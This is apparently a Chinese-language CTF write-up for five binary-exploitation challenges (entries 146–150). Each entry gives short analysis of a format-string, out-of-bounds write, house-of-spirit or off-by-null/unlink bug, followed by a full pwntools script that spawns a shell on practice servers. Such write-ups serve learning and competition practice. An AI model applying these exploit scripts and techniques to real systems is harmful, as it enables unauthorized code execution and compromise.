146 SWPUCTF_2019_login
检查一下保护
RELRO没有都开,能够劫持got表。
程序漏洞很简单,就是一个格式化漏洞。
这是栈上的格式化漏洞,要注意的就是,我们这个题只能两个字节去覆盖,不能patrial write。
我们需要利用三层结构,将栈上的两个地址改成got表的地址,可以是strncmp,也可以是printf。
但是因为我们必须要一次性都改了,不能两个字节两个字节那样写,所以我们需要将栈上两个地方的地址,分别改成got跟got+2,必须一起改是因为无论是printf还是strncmp,都需要反复使用,当改了两个字节的时候,第二次改就会出问题,那么就是我们这道题的关键。
我们采用的方法就是上面说的,通过三个指针,反复修改,将栈上两个地址分别改成got 跟 got+2,然后最后一次同时修改,劫持got表。
from pwn import*
context.log_level = "debug"
r = remote("node3.buuoj.cn", 25554)
#r = process("./146")
elf = ELF("./146")
libc = ELF("./32/libc-2.27.so")
r.sendlineafter("Please input your name: ", "Yongibaoi")
r.sendlineafter("Please input your password: ", "%6$p%15$p")
r.recvuntil('0x')
stack_addr = int(r.recvuntil('0x')[:-2],16)
addr1 = int(r.recvuntil('\n')[:-1],16)
stack2 = stack_addr + 0x10
libc_base = addr1 - 0x18e91
strncmp_got = elf.got['strncmp']
system_addr = libc_base + libc.sym['system']
print "strncmp_addr = " + str(hex(strncmp_got))
print "libc_base = " + str(hex(libc_base))
#修改偏移14地方为strncmp_got
r.recvuntil("Try again!\n")
off = strncmp_got & 0xffff
r.sendline("%"+str(off)+"c%10$hn")
r.recvuntil("Try again!\n")
off1 = stack2 & 0xffff
print hex(off1)
r.sendline("%"+str(off1 + 2)+"c%6$hn")
r.recvuntil("Try again!\n")
off2 = (strncmp_got >> 16) & 0xffff
r.sendline("%"+str(off2)+"c%10$hn")
r.recvuntil("Try again!\n")
#修改偏移13地方为strncmp_got + 2
r.sendline("%"+str(off1 - 4)+"c%6$hn")
r.recvuntil("Try again!\n")
off = (strncmp_got + 2) & 0xffff
r.sendline("%"+str(off)+"c%10$hn")
r.recvuntil("Try again!\n")
r.sendline("%"+str(off1 - 2)+"c%6$hn")
r.recvuntil("Try again!\n")
off2 = ((strncmp_got + 2) >> 16) & 0xffff
r.sendline("%"+str(off2)+"c%10$hn")
r.recvuntil("Try again!\n")
print hex(system_addr)
#劫持got表
low = system_addr & 0xffff
high = (system_addr >> 16) & 0xffff
payload = "%"+str(low)+"c%14$hn" + "%"+str(high - low)+"c%13$hn"
r.sendline(payload)
r.recvuntil("Try again!\n")
r.sendline("/bin/sh")
r.interactive()
147 qctf2018_stack2
检查一下保护
进来首先给了我们后门函数。
分析一下主程序。
计算平均数的一个程序,最多输入100个数,计算平均数。
里面又有五个功能。
show
add
change
问题出在这里,我们可以控制v5,所以我们可以任意地址写。
get average
关键是什么呢,我们的数组是char类型的,所以我们只能输入一个字节,包括我们去利用的时候,返回地址只能一个地址一个地址写。
要注意的是按照经验来讲,或者实际去调试,这个地方最后的偏移要加0x10,本来是0x74,但是要加成0x84,可以看汇编。
exp
from pwn import*
r = remote("node3.buuoj.cn", "27441")
context_level = "debug"
backdoor = [0x9b, 0x85, 0x04, 0x08]
offset = 0x84
r.sendlineafter("How many numbers you have:", "0")
for i in range(4):
r.sendlineafter("5. exit\n", "3")
r.sendlineafter("which number to change:\n", str(0x84 + i))
r.sendlineafter("new number:\n", str(backdoor[i]))
r.sendlineafter("5. exit\n", "5")
r.interactive()
148 lctf2016_pwn200
检查一下保护
保护好多没开,NX都没开,要注意利用。
输入名字输入ID
这个地方有问题,我们在把v2填满的时候,因为没有’\x00’的截断,我们就可以泄露ebp的地址。
id有问题会返回一个栈上的地址。
掏钱,这个地方buf可以覆盖ptr指针。
最后发现是一个小旅馆。
我们要怎么去利用这个这两个漏洞。
首先我们可以拿到栈地址,通过覆盖栈的指针,我们可以做到free任意地址chunk,那么这是经典漏洞 house of spirit。
关键就是我们怎样去设置我们malloc的chunk。
我们这里在栈上写上shellcode,malloc栈上的chunk,返回地址填成shellcode的地址就好了。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
r = remote("node3.buuoj.cn", "29765")
elf = ELF('./148')
free_got = elf.got["free"]
shellcode = asm(shellcraft.sh())
r.sendafter('u?\n',shellcode+"a"*(48-len(shellcode)))
ebp = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
offset = -0x50
shellcode_addr = ebp + offset
r.sendline('0')
r.recvuntil('\n')
payload = p64(shellcode_addr)
r.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))
r.recvuntil('choice :')
r.sendline('2')
r.interactive()
149 sctf_2019_easy_heap
检查一下保护
保护全开。
先读了一个随机数,然后申请了一块内存,权限是7,是可读可写可执行。
还会输出这个页的地址。
我们可以看到红线处确实有个mmap的东西,权限rwxp都有。
一定可以利用。
alloc
结构很清晰,最多申请16个chunk,申请的地址跟大小会被放在bss上面,保护开了pie,但是这个地方会泄露bss地址出来,然后pie就白开。
delete
count那个计数好像也没什么用。
fill
free里面没啥事就好好研究研究写入,发现有off by null。
off by null 加上一个mmap的可读可写可执行内存,可以把通过off by null 制造unlink,然后写shellcode,然后malloc跳过去。
现在的问题是说我们怎么能够得到malloc_hook的地址。
我们利用off by one制造好的overlap,来讲arena+0x96的值写在被overlap的chunk种,之后我们利用他的值跟malloc_hook只差一个0x30,只要写一个字节,把他最后一个字节变成0x30就可以了,然后我们申请到malloc_hook的chunk,改成shellcode地方。
off by null的思路我们有两种
第一种是申请ABCD,free A,edit C,overlap B,然后利用
第二种是在A里面首先伪造unlink,或者有uaf也行,然后unlink控制bss,再做利用。
exp
from pwn import*
context.log_level = "debug"
context.arch = "amd64"
#r =process("./149")
r = remote("node3.buuoj.cn", "25174")
elf = ELF('./149')
libc = ELF("./64/libc-2.27.so")
def alloc(size):
r.sendlineafter(">> ", "1")
r.sendlineafter("Size: ", str(size))
def delete(index):
r.sendlineafter(">> ", "2")
r.sendlineafter("Index: ", str(index))
def fill(index, content):
r.sendlineafter(">> ", "3")
r.sendlineafter("Index: ", str(index))
r.sendlineafter("Content: ", content)
r.recvuntil("Mmap: 0x")
mmap_addr = int(r.recv(10),16)
print hex(mmap_addr)
alloc(0x38) #0
r.recvuntil("0x")
bss_addr = int(r.recv(12), 16)
print hex(bss_addr)
alloc(0x4f8) #1
alloc(0x20) #2
payload1 = p64(0) + p64(0x21)
payload1 += p64(bss_addr - 0x18) + p64(bss_addr - 0x10)
payload1 += p64(0x20) + p64(0) + p64(0x30)
fill(0, payload1)
delete(1)
#上面这一部分做的是一个unlink的效果
payload2 = p64(0) * 2 + p64(0x550) + p64(bss_addr + 0x10) + p64(0x550) + p64(mmap_addr)
fill(0, payload2)
fill(1, asm(shellcraft.sh()))
#写入shellcode
payload3 = p64(bss_addr + 0x28) + p64(0x20) + p64(0x491) + 'a' * 0x488
payload3 += p64(0x21) + 'a' * 0x18 + p64(0x21)
fill(0, payload3)
delete(1)
#伪造chunk并且放入unsorted链,这样就会有一个地址写在bss上
payload4 = 'a' * 0x18 + p64(0x20) + '\x30'
fill(0, payload4)
#讲那个地址修改成malloc_hook
fill(3, p64(mmap_addr))
#malloc_hook里面写入mmap地址
alloc(0x20)
#get shell
r.interactive()
150 ciscn_2019_s_1
检查一下保护
malloc
申请的大小有限制,会直接给出申请的chunk的地址。
free
清理的很干净。
edit
通过key限制只能编辑两次,会画蛇添足有一个off by null漏洞。
show
必须先把那个地方劫持掉,key2那里改掉,才能show的出来。
off by null思路很清楚,就像上面那个一样,这里因为我们要控制bss,所以我们还是选择通过off by null做一个unlink,控制bss,在bss中伪造一个chunk,free掉,然后申请回来,用于修改key2.然后泄露地址,最后one_gadget一套带走。
我们想要通过unlink来修改key,因为只能edit两次,所以我们平常做好unlink的收已经edit两次了,没机会编辑key,所以我们想着让最后一个地址做unlink,然后尝试铜鼓第二次edit覆盖过去。
要注意最后一个chunk的len会覆盖第一个chunk地址,所以free的时候从序号1开始free。
大小是够的,就是可以通过最后一个chunk来覆盖key,效果如下图。
接下来我们需要泄露libc的地址,泄露地址可以有很多种,以前的话我们仅仅是 通过overlap来邪路arena地址,但是我们也可以通过got表来泄露地址。
然后就是泄露地址,修改free_hook,就好了。
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
context.arch = "amd64"
#r =process("./150")
r = remote("node3.buuoj.cn", "26705")
elf = ELF('./150')
libc = ELF("./64/libc-2.27.so")
def malloc(index, size, content):
r.sendlineafter("4.show\n", "1")
r.sendlineafter("index:\n", str(index))
r.sendlineafter("size:\n", str(size))
r.sendafter("content:\n", content) #因为题目原因程序不处理回车,所以直接send,不发回车了.
def free(index):
r.sendlineafter("4.show\n", "2")
r.sendlineafter("index:\n", str(index))
def edit(index, content):
r.sendlineafter("4.show\n", "3")
r.sendlineafter("index:\n", str(index))
r.sendafter("content:\n", content) #这个地方也要用send.
def show(index):
r.sendlineafter("4.show\n", "4")
r.sendlineafter("index:\n", str(index))
ptr_addr = 0x6021e0
key2_addr = 0x6022b8
free_got = elf.got['free']
for i in xrange(7):
malloc(i,0xf8,str(i)*8)
malloc(7,0xf8,'7'*8)
malloc(32,0xf8,'aaaa')
malloc(8,0xf8,'8'*8)
malloc(9,0xf8,"/bin/sh\x00")
addr = 0x6020e0+8*32
payload = p64(0)+p64(0xf1)
payload += p64(addr-0x18)+p64(addr-0x10)
payload = payload.ljust(0xf0,"\x00")
payload += p64(0xf0)
for i in range(1,8):
free(i)
edit(32,payload)
free(8)
payload = p64(free_got)
payload += p64(ptr_addr-0x18)+p64(ptr_addr-0x18)
payload += p64(ptr_addr)
payload = payload.ljust(0xf0,'\x00')
payload += "\x01\x00\x00\x00\x05\x00\x00\x00"
edit(32,payload)
#gdb.attach(r)
#input()
show(29)
libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-libc.sym["free"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
print hex(libc_base)
edit(32,p64(free_hook))
edit(32,p64(system))
free(9)
r.interactive()